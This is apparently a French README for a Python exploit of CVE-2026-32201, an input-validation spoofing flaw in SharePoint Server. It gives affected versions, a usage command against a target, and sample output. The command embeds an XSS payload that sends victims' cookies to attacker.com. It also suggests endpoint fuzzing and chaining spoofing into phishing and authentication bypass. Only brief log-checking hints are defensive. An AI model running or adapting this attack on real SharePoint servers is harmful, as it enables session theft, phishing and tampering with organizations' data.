Aperçu

Exploit Python pour CVE-2026-32201 - validation d'entrée incorrecte dans Microsoft SharePoint Server, permettant l'usurpation réseau non authentifiée (C:L/I:L).

• Affecté : SharePoint Server 2016 Enterprise, 2019, Subscription Edition < 16.0.19725.20210 ;
• Vecteur : AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N ;
• Impact : Visualiser/modifier des données sensibles via des notifications/documents usurpés.

Fonctionnalités

1. Empreinte de SharePoint.
2. POST conçu pour contourner la validation d'entrée (sender_override).
3. Charge utile personnalisable (expéditeur, destinataire, objet, message avec XSS).
4. Analyse de la réponse pour vérification.

Utilisation

1. Enregistrez-le sous exploit.py
2. Exécutez-le pour créer un fichier de modèle malveillant :

python3 exploit.py https://sharepoint.target.com \
  --recipient [email protected] \
  --sender "[email protected]" \
  --message "<script>fetch('http://attacker.com/?c='+document.cookie)</script>" \
  --endpoint /_layouts/15/notify.aspx

Exemple de sortie :

[+] SharePoint détecté.
[*] Envoi de la requête usurpée à https://target.com/_layouts/15/notify.aspx
[+] Statut : 200
[+] Succès potentiel : Vérifiez les journaux/e-mails de la cible pour le contenu usurpé.

Personnalisation

• Fuzzing d'endpoint : ffuf -u https://target.com/FUZZ -w sharepoint-layouts.txt
• Charge utile XSS : Ajoutez du JS dans --message pour le vol de cookies
• Enchaînement : Usurpation → lien de phishing → contournement d'authentification

Vérification

• Indicateurs de succès : 200 OK + « sent/success » dans la réponse
• Côté serveur : Vérifiez les journaux ULS/journaux IIS pour les requêtes anormales
• Impact : Surveillez les e-mails/documents pour un expéditeur falsifié, testez la modification des données